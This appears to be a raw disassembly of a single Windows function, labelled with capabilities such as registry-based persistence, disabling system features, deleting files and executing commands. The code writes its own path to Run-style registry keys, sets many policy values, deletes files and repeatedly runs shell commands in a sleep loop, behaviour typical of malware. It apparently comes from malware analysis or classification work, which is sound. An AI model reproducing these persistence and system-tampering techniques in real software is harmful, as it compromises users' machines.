Function at 0x401ef8
Capabilities:
Delete file
Delete registry value
Disable system features via registry on windows
Execute command
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x479c
call fcn.00403660
push edi
push esi
push ebx
call fcn.00403250
add esp, 0xfffffff8
push 0x400
lea eax, [ebp - 0x400]
mov dword [ebp - 0x46d8], eax
push eax
call sub.KERNEL32.dll_GetSystemDirectoryA
mov edx, dword [ebp - 0x46d8]
push edx
lea ebx, [ebp - 0x800]
push ebx
call sub.msvcrt.dll_strcpy
add esp, 0xfffffff8
push 0x4014cf
mov ecx, dword [ebp - 0x46d8]
push ecx
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff8
push 0x4014dc
push ebx
call sub.msvcrt.dll_strcat
add esp, 0xfffffff4
mov eax, dword [ebp - 0x46d8]
push eax
call sub.msvcrt.dll_remove
add esp, 0x20
add esp, 0xfffffff4
push ebx
call sub.msvcrt.dll_remove
add esp, 0xfffffff8
mov edx, dword [ebp + 0xc]
push edx
mov ecx, dword [ebp - 0x46d8]
push ecx
call fcn.004013b0
add esp, 0x20
lea edx, [ebp - 0x1000]
mov dword [ebp - 0x4724], edx
test eax, eax
je 0x4020cb
mov edi, edx
mov esi, 0x4014be
cld
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0xff1]
add esp, 0xfffffffc
push 0x7f1
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
add esp, 0xfffffff8
mov eax, dword [ebp - 0x46d8]
push eax
mov edx, dword [ebp - 0x4724]
push edx
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
push 0x4014cd
mov ecx, dword [ebp - 0x4724]
push ecx
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
mov eax, dword [ebp - 0x4724]
push eax
call sub.msvcrt.dll_system
add esp, 0x10
add esp, 0xfffffff8
push 0x4014ed
mov edx, dword [ebp - 0x46d8]
push edx
call sub.msvcrt.dll_strcat
add esp, 0x10
add esp, 0xfffffff4
lea eax, [ebp - 0x4634]
push eax
lea eax, [ebp - 0x4638]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401490
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x4020cb
add esp, 0xfffffffc
push 0x800
mov ecx, dword [ebp - 0x4724]
push ecx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 0xfffffffc
push 0x401210
mov eax, dword [ebp - 0x4724]
push eax
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
mov edi, dword [ebp - 0x4724]
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
push eax
mov edx, dword [ebp - 0x46d8]
push edx
push 1
push 0
push 0x4014f7
push dword [ebp - 0x4638]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
add esp, 0xfffffff4
push dword [ebp - 0x4638]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
add esp, 0xfffffff8
mov ecx, dword [ebp + 0xc]
push ecx
push ebx
call fcn.004013b0
add esp, 0x10
test eax, eax
je 0x4021de
mov edi, dword [ebp - 0x4724]
mov esi, 0x4014be
cld
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0xff1]
add esp, 0xfffffffc
push 0x7f1
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
add esp, 0xfffffff8
push ebx
lea edi, [ebp - 0x1000]
push edi
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
push 0x4014cd
push edi
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
push edi
call sub.msvcrt.dll_system
add esp, 0x10
add esp, 0xfffffff8
push 0x4014fe
push ebx
call sub.msvcrt.dll_strcat
add esp, 0x10
add esp, 0xfffffff4
lea eax, [ebp - 0x463c]
push eax
lea eax, [ebp - 0x4640]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401510
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x4021de
add esp, 0xfffffffc
push 0x800
push edi
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 0xfffffffc
push 0x401210
push edi
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
push eax
push ebx
push 1
push 0
push 0x40153e
push dword [ebp - 0x4640]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
add esp, 0xfffffff4
push dword [ebp - 0x4640]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
mov edi, dword [ebp - 0x4724]
mov esi, 0x401550
cld
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0xfd6]
add esp, 0xfffffffc
push 0x3d6
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
lea edi, [ebp - 0xc00]
mov esi, 0x401590
cld
mov ecx, 0xf
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xbc4]
add esp, 0xfffffffc
push 0x3c4
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
lea edi, [ebp - 0x1400]
mov esi, 0x4015d0
cld
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x13ca]
add esp, 0xfffffffc
push 0x3ca
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
lea edi, [ebp - 0x1800]
mov esi, 0x401610
cld
mov ecx, 0xe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x17c6]
add esp, 0xfffffffc
push 0x3c6
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
lea edi, [ebp - 0x1c00]
mov esi, 0x401650
cld
mov ecx, 0xe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x1bc6]
add esp, 0xfffffffc
push 0x3c6
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
lea edi, [ebp - 0x1e00]
mov esi, 0x40168a
cld
mov ecx, 0x7d
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x1e30]
mov esi, 0x401880
cld
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x4644]
mov dword [ebp - 0x4704], eax
lea edx, [ebp - 0x4648]
mov dword [ebp - 0x4700], edx
lea ecx, [ebp - 0x2630]
mov dword [ebp - 0x46fc], ecx
lea eax, [ebp - 0x2560]
mov dword [ebp - 0x471c], eax
lea edx, [ebp - 0x4650]
mov dword [ebp - 0x46f8], edx
lea ecx, [ebp - 0x4654]
mov dword [ebp - 0x46f4], ecx
lea eax, [ebp - 0x2e30]
mov dword [ebp - 0x4760], eax
lea edx, [ebp - 0x2490]
mov dword [ebp - 0x4754], edx
lea ecx, [ebp - 0x4658]
mov dword [ebp - 0x46f0], ecx
lea eax, [ebp - 0x465c]
mov dword [ebp - 0x46ec], eax
lea edx, [ebp - 0x2420]
mov dword [ebp - 0x4708], edx
lea ecx, [ebp - 0x4664]
mov dword [ebp - 0x46e8], ecx
lea eax, [ebp - 0x4668]
mov dword [ebp - 0x4784], eax
lea edx, [ebp - 0x4670]
mov dword [ebp - 0x4780], edx
lea ecx, [ebp - 0x4674]
mov dword [ebp - 0x477c], ecx
lea eax, [ebp - 0x4678]
mov dword [ebp - 0x4778], eax
lea edx, [ebp - 0x467c]
mov dword [ebp - 0x4774], edx
lea ecx, [ebp - 0x4680]
mov dword [ebp - 0x4770], ecx
lea eax, [ebp - 0x4684]
mov dword [ebp - 0x476c], eax
lea edx, [ebp - 0x4688]
mov dword [ebp - 0x4768], edx
lea ecx, [ebp - 0x468c]
mov dword [ebp - 0x4764], ecx
lea eax, [ebp - 0x4694]
mov dword [ebp - 0x475c], eax
lea edx, [ebp - 0x4698]
mov dword [ebp - 0x4758], edx
lea ecx, [ebp - 0x46a0]
mov dword [ebp - 0x4750], ecx
lea eax, [ebp - 0x46a4]
mov dword [ebp - 0x474c], eax
lea edx, [ebp - 0x46a8]
mov dword [ebp - 0x4748], edx
lea ecx, [ebp - 0x46ac]
mov dword [ebp - 0x4744], ecx
lea eax, [ebp - 0x46b4]
mov dword [ebp - 0x4740], eax
lea edx, [ebp - 0x46b8]
mov dword [ebp - 0x473c], edx
lea ecx, [ebp - 0x2380]
mov dword [ebp - 0x4718], ecx
lea eax, [ebp - 0x1f80]
mov dword [ebp - 0x4720], eax
lea edx, [ebp - 0x3630]
mov dword [ebp - 0x4714], edx
lea ecx, [ebp - 0x46c0]
mov dword [ebp - 0x4738], ecx
lea eax, [ebp - 0x3e2e]
mov dword [ebp - 0x4710], eax
lea edx, [ebp - 0x3e30]
mov dword [ebp - 0x470c], edx
lea ecx, [ebp - 0x46c4]
mov dword [ebp - 0x4734], ecx
lea eax, [ebp - 0x46c8]
mov dword [ebp - 0x4730], eax
lea edx, [ebp - 0x46cc]
mov dword [ebp - 0x472c], edx
lea ecx, [ebp - 0x46d0]
mov dword [ebp - 0x4728], ecx
lea edi, [ebp - 0x1e00]
xor esi, esi
mov ebx, 9
lea esi, [esi]
mov eax, dword [ebp + esi - 0x1e30]
mov dword [ebp - 0x464c], eax
add esp, 0xfffffff4
mov eax, dword [ebp - 0x4704]
push eax
mov edx, dword [ebp - 0x4700]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0xc00]
push ecx
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402532
add esp, 0xfffffff8
push 4
lea eax, [ebp - 0x464c]
push eax
push 4
push 0
push edi
push dword [ebp - 0x4648]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
add edi, 0x32
add esi, 4
dec ebx
jns 0x4024d0
mov edi, dword [ebp - 0x46fc]
mov esi, 0x4018a8
cld
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x471c]
mov esi, 0x401970
cld
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x4760]
mov dword [ebp - 0x46e0], eax
lea esi, [ebp - 0x2630]
lea ebx, [ebp - 0x2560]
mov dword [ebp - 0x46dc], 3
add esp, 0xfffffff4
mov edx, dword [ebp - 0x46f8]
push edx
mov ecx, dword [ebp - 0x46f4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x1400]
push eax
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402643
test ebx, ebx
je 0x402620
add esp, 0xfffffffc
push 0x800
mov edx, dword [ebp - 0x46e0]
push edx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 0xfffffffc
push 0x401210
mov ecx, dword [ebp - 0x46e0]
push ecx
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
mov edi, dword [ebp - 0x46e0]
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
push eax
push ebx
push 1
push 0
push esi
push dword [ebp - 0x4654]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
jmp 0x402632
add esp, 0xfffffff8
push esi
push dword [ebp - 0x4654]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
add esp, 0xfffffff4
push dword [ebp - 0x4654]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
add esi, 0x32
add ebx, 0x32
dec dword [ebp - 0x46dc]
jns 0x402583
mov edi, dword [ebp - 0x4754]
mov esi, 0x401a38
cld
mov ecx, 0x19
rep movsd dword es:[edi], dword [esi]
lea ebx, [ebp - 0x2490]
mov esi, 1
mov dword [ebp - 0x4660], 1
add esp, 0xfffffff4
mov eax, dword [ebp - 0x46f0]
push eax
mov edx, dword [ebp - 0x46ec]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0x1800]
push ecx
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x4026d2
add esp, 0xfffffff8
push 4
lea eax, [ebp - 0x4660]
push eax
push 4
push 0
push ebx
push dword [ebp - 0x465c]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
add ebx, 0x32
dec esi
jns 0x402673
mov edi, dword [ebp - 0x4708]
mov esi, 0x401a9c
cld
mov ecx, 0x25
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ebx, [ebp - 0x2420]
mov esi, 2
mov dword [ebp - 0x466c], 1
add esp, 0xfffffff4
mov eax, dword [ebp - 0x46e8]
push eax
mov edx, dword [ebp - 0x4784]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0x1c00]
push ecx
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402757
add esp, 0xfffffff8
push 4
lea eax, [ebp - 0x466c]
push eax
push 4
push 0
push ebx
push dword [ebp - 0x4668]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
add ebx, 0x32
dec esi
jns 0x4026f8
add esp, 0xfffffff4
mov eax, dword [ebp - 0x4780]
push eax
mov edx, dword [ebp - 0x477c]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401b50
push 0x80000000
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402827
mov ecx, 0x401b7d
test ecx, ecx
je 0x402800
add esp, 0xfffffffc
push 0x800
mov eax, dword [ebp - 0x4760]
push eax
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 0xfffffffc
push 0x401210
mov edx, dword [ebp - 0x4760]
push edx
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
mov edi, dword [ebp - 0x4760]
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
push eax
push 0x401b7d
push 2
push 0
push 0x401b86
push dword [ebp - 0x4674]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
jmp 0x402816
add esp, 0xfffffff8
push 0x401b86
push dword [ebp - 0x4674]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
add esp, 0xfffffff4
push dword [ebp - 0x4674]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
add esp, 0xfffffff4
mov edx, dword [ebp - 0x4778]
push edx
mov ecx, dword [ebp - 0x4774]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401b96
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x4028f7
mov eax, 0x401bad
test eax, eax
je 0x4028d0
add esp, 0xfffffffc
push 0x800
mov edx, dword [ebp - 0x4760]
push edx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 0xfffffffc
push 0x401210
mov ecx, dword [ebp - 0x4760]
push ecx
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
mov edi, dword [ebp - 0x4760]
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
push eax
push 0x401bad
push 1
push 0
push 0x401baf
push dword [ebp - 0x467c]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
jmp 0x4028e6
add esp, 0xfffffff8
push 0x401baf
push dword [ebp - 0x467c]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
add esp, 0xfffffff4
push dword [ebp - 0x467c]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
add esp, 0xfffffff4
mov edx, dword [ebp - 0x4770]
push edx
mov ecx, dword [ebp - 0x476c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp - 0x4724]
push eax
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x4029c7
mov edx, 0x401bd0
test edx, edx
je 0x4029a0
add esp, 0xfffffffc
push 0x800
mov ecx, dword [ebp - 0x4760]
push ecx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 0xfffffffc
push 0x401210
mov eax, dword [ebp - 0x4760]
push eax
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
mov edi, dword [ebp - 0x4760]
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
push eax
push 0x401bd0
push 1
push 0
push 0x401bf2
push dword [ebp - 0x4684]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
jmp 0x4029b6
add esp, 0xfffffff8
push 0x401bf2
push dword [ebp - 0x4684]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
add esp, 0xfffffff4
push dword [ebp - 0x4684]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
mov dword [ebp - 0x4690], 1
add esp, 0xfffffff4
mov edx, dword [ebp - 0x4768]
push edx
mov ecx, dword [ebp - 0x4764]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401c10
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402a28
add esp, 0xfffffff8
push 4
lea eax, [ebp - 0x4690]
push eax
push 4
push 0
push 0x401c4b
push dword [ebp - 0x468c]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
mov dword [ebp - 0x469c], 1
add esp, 0xfffffff4
mov eax, dword [ebp - 0x475c]
push eax
mov edx, dword [ebp - 0x4758]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401c10
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402a89
add esp, 0xfffffff8
push 4
lea eax, [ebp - 0x469c]
push eax
push 4
push 0
push 0x401c57
push dword [ebp - 0x4698]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
add esp, 0xfffffff4
mov ecx, dword [ebp - 0x4750]
push ecx
mov eax, dword [ebp - 0x474c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401c70
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402b57
mov edx, 0x401ca7
test edx, edx
je 0x402b30
add esp, 0xfffffffc
push 0x800
mov ecx, dword [ebp - 0x4760]
push ecx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 0xfffffffc
push 0x401210
mov eax, dword [ebp - 0x4760]
push eax
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
mov edi, dword [ebp - 0x4760]
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
push eax
push 0x401ca7
push 1
push 0
push 0x401cb0
push dword [ebp - 0x46a4]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
jmp 0x402b46
add esp, 0xfffffff8
push 0x401cb0
push dword [ebp - 0x46a4]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
add esp, 0xfffffff4
push dword [ebp - 0x46a4]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
mov dword [ebp - 0x46b0], 1
add esp, 0xfffffff4
mov edx, dword [ebp - 0x4748]
push edx
mov ecx, dword [ebp - 0x4744]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401cd0
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402bb8
add esp, 0xfffffff8
push 4
lea eax, [ebp - 0x46b0]
push eax
push 4
push 0
push 0x401d0c
push dword [ebp - 0x46ac]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
mov dword [ebp - 0x46bc], 0
add esp, 0xfffffff4
mov eax, dword [ebp - 0x4740]
push eax
mov edx, dword [ebp - 0x473c]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401cd0
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402c19
add esp, 0xfffffff8
push 4
lea eax, [ebp - 0x46bc]
push eax
push 4
push 0
push 0x401d18
push dword [ebp - 0x46b8]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
mov dword [ebp - 0x46c0], 0
add esp, 0xfffffff8
add esp, 0xfffffff8
push 0x400
mov ecx, dword [ebp - 0x4718]
push ecx
call sub.KERNEL32.dll_GetSystemDirectoryA
mov al, byte [ebp - 0x2380]
mov byte [ebp - 0x1f80], al
mov byte [ebp - 0x1f7f], 0x3a
mov byte [ebp - 0x1f7e], 0x5c
mov byte [ebp - 0x1f7d], 0
add esp, 8
mov eax, dword [ebp - 0x4720]
push eax
mov edx, dword [ebp - 0x4714]
push edx
call sub.msvcrt.dll_strcpy
add esp, 0xfffffff8
push 0x401d28
mov ecx, dword [ebp - 0x4714]
push ecx
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
mov eax, dword [ebp - 0x4714]
push eax
call fcn.00403274
mov ebx, eax
add esp, 0xfffffff4
mov edx, dword [ebp - 0x4738]
push edx
mov ecx, dword [ebp - 0x4760]
push ecx
push 0x401d36
mov eax, dword [ebp - 0x46e4]
push eax
push ebx
call fcn.00401218
add esp, 0x30
add esp, 0xfffffff4
push ebx
call fcn.0040352c
add esp, 0x10
cmp dword [ebp - 0x46c0], 0
jne 0x402cf7
cmp dword [ebp + 8], 1
jg 0x402d20
push 0
push 0x401d43
push 0x401d50
push 0
call sub.USER32.dll_MessageBoxA
add esp, 0xfffffff4
push 1
call sub.msvcrt.dll_exit
cmp dword [ebp + 8], 1
jg 0x402d20
push 0
push 0x401dbc
push 0x401dd0
push 0
call sub.USER32.dll_MessageBoxA
add esp, 0xfffffff4
push 0x401e5c
call sub.msvcrt.dll_system
add esp, 0x10
movzx eax, word [0x401e68]
mov word [ebp - 0x3e30], ax
add esp, 0xfffffffc
push 0x7fe
push 0
mov edx, dword [ebp - 0x4710]
push edx
call sub.msvcrt.dll_memset
add esp, 0x10
add esp, 0xfffffff8
mov ecx, dword [ebp - 0x4760]
push ecx
mov eax, dword [ebp - 0x470c]
push eax
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
push 0x401e6a
mov edx, dword [ebp - 0x470c]
push edx
call sub.msvcrt.dll_strcat
add esp, 0x20
lea ebx, [ebp - 0x4630]
lea esi, [esi]
add esp, 0xfffffff4
mov ecx, dword [ebp - 0x4734]
push ecx
mov eax, dword [ebp - 0x4730]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp - 0x4724]
push edx
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402e3b
mov ecx, 0x401e86
test ecx, ecx
je 0x402e14
add esp, 0xfffffffc
push 0x800
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add esp, 0xfffffffc
push 0x401210
push ebx
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
mov edi, ebx
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ecx - 1]
push eax
push 0x401e86
push 1
push 0
push 0x401ea0
push dword [ebp - 0x46c8]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 0x18
jmp 0x402e2a
add esp, 0xfffffff8
push 0x401ea0
push dword [ebp - 0x46c8]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
add esp, 0xfffffff4
push dword [ebp - 0x46c8]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
mov dword [ebp - 0x46d4], 1
add esp, 0xfffffff4
mov edx, dword [ebp - 0x472c]
push edx
mov ecx, dword [ebp - 0x4728]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401eb0
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x402e9c
add esp, 0xfffffff8
push 4
lea eax, [ebp - 0x46d4]
push eax
push 4
push 0
push 0x401eec
push dword [ebp - 0x46d0]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
add esp, 0xfffffff4
push 0x927c0
call sub.KERNEL32.dll_Sleep
mov eax, dword [ebp - 0x470c]
push eax
call sub.msvcrt.dll_system
add esp, 0xfffffff4
push 0x3e8
call sub.KERNEL32.dll_Sleep
add esp, 0x1c
jmp 0x402d80